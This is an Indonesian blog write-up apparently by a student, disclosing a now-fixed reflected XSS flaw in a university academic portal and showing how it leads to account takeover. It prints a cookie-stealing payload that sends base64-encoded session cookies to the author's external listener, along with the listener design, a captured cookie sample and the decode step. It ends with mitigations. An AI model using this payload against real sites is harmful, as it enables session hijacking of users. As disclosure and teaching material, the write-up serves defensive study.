Cybersecurity 5 menit baca

Dari Reflected XSS ke Account Takeover: Eksfiltrasi Cookie Secara Real-Time di siakad.thamrin.ac.id

Gambar sampul: Dari Reflected XSS ke Account Takeover: Eksfiltrasi Cookie Secara Real-Time di siakad.thamrin.ac.id
Perbesar Gambar

Status: Fixed ✅ | Severity: Critical (P0) | Type: Reflected Cross-Site Scripting (XSS)
Target: siakad.thamrin.ac.id | Reported to: Pihak IT Universitas Mohammad Husni Thamrin
Author: Muhamad Raehan Ramadhan — Mahasiswa Informatika, Semester 2


Pada tulisan sebelumnya, kita sudah membahas bagaimana celah Reflected XSS bekerja melalui parameter URL yang tidak terfilter. Namun, muncul pertanyaan penting:

"Apa bahayanya jika penyerang hanya bisa memunculkan alert(1)?"

Hari ini, saya akan membuktikan bahwa XSS bukan sekadar memunculkan kotak pesan — melainkan pintu masuk utama untuk melakukan Account Takeover (ATO) tanpa perlu mengetahui password korban sama sekali.


1. Kronologi Penemuan

Temuan ini saya dapatkan secara tidak sengaja saat menggunakan layanan SIAKAD sebagai mahasiswa. Saya menemukan bahwa pada mekanisme penanganan error di halaman pengubahan data mahasiswa, sistem sudah melakukan filter terhadap tag <script> — namun karakter pemutus (breaker) seperti "> dan atribut event handler lainnya belum disaring atau di-encode dengan benar.

Setelah menemukan celah ini, saya langsung melaporkannya kepada pihak kampus melalui jalur resmi sebelum melakukan eksploitasi lebih lanjut.


2. The Weapon: Payload Minimalis

Dalam skenario riset ini, saya menggunakan payload yang sangat ringkas untuk menghindari batasan karakter (limit characters) di sisi server. Payload ini tidak memicu kecurigaan visual karena memanfaatkan objek Image — bukan tag <script> yang sudah diblokir.

"><script>new Image().src="//raehan.my.id/x?c="+btoa(document.cookie)</script>

Mengapa Teknik Ini Sangat Efektif?

Teknik Penjelasan
Out-of-Band (OOB) Data dikirim secara senyap melalui request gambar tanpa mengganggu alur halaman
Base64 Encoding (btoa) Mengonversi cookie menjadi string aman agar karakter seperti ; atau = tidak merusak struktur URL
Protocol Relative (//) Memastikan script berjalan otomatis baik di protokol http maupun https
Filter Bypass (">) Keluar dari atribut HTML sebelum menyuntikkan script, melewati filter tag <script>

3. Proof of Concept (PoC) — Video Demonstrasi

Untuk memberikan gambaran yang lebih jelas mengenai bagaimana serangan ini terjadi secara real-time, saya telah mendokumentasikan langkah-langkah eksploitasi — mulai dari pengiriman link manipulasi hingga berhasil mendapatkan akses akun korban.

🎬 Video PoC:
[Tonton di YouTube] → link

Video mencakup:

  • Injeksi payload melalui parameter URL yang rentan
  • Proses pengiriman cookie secara out-of-band ke listener
  • Decode Base64 dan ekstraksi PHPSESSID di terminal
  • Demonstrasi session hijacking menggunakan cookie yang didapat

4. The Listener: Infrastruktur Penangkap Data

Untuk menangkap data yang terkirim, saya membangun Listener menggunakan Astro JS yang di-deploy di atas Cloudflare. Data yang masuk diproses dan disimpan ke dalam Supabase.

Browser Korban
     │
     │  GET //raehan.my.id/x?c=BASE64_COOKIE
     ▼
Cloudflare Edge (WAF + Rate Limiting)
     │
     ▼
Astro JS Endpoint (/x)
     │
     ▼
Supabase Database (cookie tersimpan)

Security Hardening pada Listener

Meskipun ini adalah endpoint publik untuk keperluan riset, saya menambahkan beberapa lapisan keamanan untuk mencegah penyalahgunaan:

  • Rate Limiting (Redis): Membatasi request maksimal 5 kali per menit per IP
  • Cloudflare WAF: Mengaktifkan Managed Challenge jika terdeteksi aktivitas bot atau lebih dari 10 request per menit
  • Method Restriction: Endpoint dikonfigurasi agar tidak merespons akses langsung melalui browser biasa

5. Eksfiltrasi: Mendapatkan "Kunci Emas"

Begitu korban membuka link yang sudah dimanipulasi, browser mereka akan mengeksekusi script dan mengirimkan cookie sesi secara otomatis ke server saya. Berikut contoh data mentah yang berhasil ditangkap di database:

{
  "c": "UEhQU0VTU0lEPTM4am9kajltMjFoaTQxY25tdHB1aXI0dnAz...",
  "_metadata": {
    "method": "GET",
    "referer": "https://siakad.thamrin.ac.id/",
    "user_agent": "Mozilla/5.0 (X11; Linux x86_64; ...)"
  }
}

Setelah dilakukan decode Base64 melalui terminal:

echo "UEhQU0VTU0lEPTM4am9kajltMjFoaTQxY25tdHB1aXI0dnAz..." | base64 -d
# Output: PHPSESSID=38jodjm21hi41cnmtpuir4vp3...

Inilah yang disebut dengan Session Hijacking — penyerang kini memegang kunci sesi yang valid dan dapat masuk ke akun korban tanpa melewati proses login sama sekali.


6. Analisis Dampak (Impact)

Temuan ini dikategorikan sebagai Critical (P0) karena memenuhi beberapa kriteria berikut:

🔴 Bypass Authentication

Tidak memerlukan kredensial user (username/password). Cukup dengan cookie sesi yang valid.

🔴 Skalabilitas Serangan

Link yang sama bisa dikirimkan ke banyak target sekaligus — misalnya melalui WhatsApp grup mahasiswa, email broadcast, atau posting di grup sosial media kampus.

🔴 Privilege Escalation

Jika korban adalah dosen, admin akademik, atau operator SIAKAD, seluruh sistem manajemen akademik kampus berada dalam risiko tinggi — termasuk data nilai, absensi, dan informasi pribadi mahasiswa.

🔴 Persistent Risk

Selama PHPSESSID belum expire dan HttpOnly tidak diaktifkan, cookie yang sudah dicuri tetap valid untuk digunakan.


7. Strategi Mitigasi

Bagi pengembang web, celah ini dapat ditutup dengan beberapa langkah berikut:

✅ Set Flag HttpOnly pada Cookie

Set-Cookie: PHPSESSID=xxx; HttpOnly; Secure; SameSite=Strict

Flag HttpOnly mencegah JavaScript membaca isi cookie — sehingga payload document.cookie tidak akan mengembalikan nilai apapun.

✅ Output Encoding yang Benar

Semua input pengguna yang akan ditampilkan kembali di halaman harus di-encode dengan benar:

// ❌ Rentan
echo $_GET['nama'];

// ✅ Aman
echo htmlspecialchars($_GET['nama'], ENT_QUOTES, 'UTF-8');

✅ Content Security Policy (CSP)

Tambahkan header CSP yang ketat untuk membatasi domain mana saja yang diizinkan memuat aset luar:

Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'

✅ Filter Input Secara Komprehensif

Tidak cukup hanya memblokir tag <script>. Filter harus mencakup:

  • Atribut event handler (onerror, onload, onclick, dll.)
  • Karakter pemutus seperti ", ', >, <
  • Protocol handler (javascript:, data:)

8. Timeline Disclosure

Tanggal Kejadian
Maret 2026 Celah ditemukan secara tidak sengaja saat menggunakan SIAKAD
Maret 2026 Laporan dikirimkan ke pihak IT kampus melalui WhatsApp
Maret 2026 Pihak IT mengkonfirmasi penerimaan laporan
Maret 2026 Bug dikonfirmasi telah diperbaiki (fixed)
Maret 2026 Write-up ini dipublikasikan dengan izin

Kesimpulan

Riset ini membuktikan bahwa kerentanan yang terlihat "sepele" seperti Reflected XSS dapat berujung pada pengambilalihan akun secara penuh — bahkan terhadap sistem yang sudah memiliki filter keamanan dasar sekalipun.

Filter yang hanya menargetkan tag <script> adalah pendekatan yang tidak cukup. Penyerang berpengalaman dapat dengan mudah melewatinya menggunakan atribut event handler, karakter pemutus, atau encoding alternatif.

Seluruh temuan ini telah dilaporkan dan diperbaiki oleh pihak IT terkait. Write-up ini dipublikasikan semata-mata untuk tujuan edukasi dan peningkatan kesadaran keamanan siber di lingkungan akademik.


Stay Secure, Stay Informed.

Muhamad Raehan Ramadhan
Mahasiswa Informatika, Universitas Mohammad Husni Thamrin
raehan.my.id

Komentar

Tinggalkan komentar

0 / 1000

🙌

Terima kasih sudah membaca!

Kalau artikel ini bermanfaat, bantu sebar ke teman-teman — atau traktir saya kopi biar makin semangat nulis ☕

// Artikel Terkait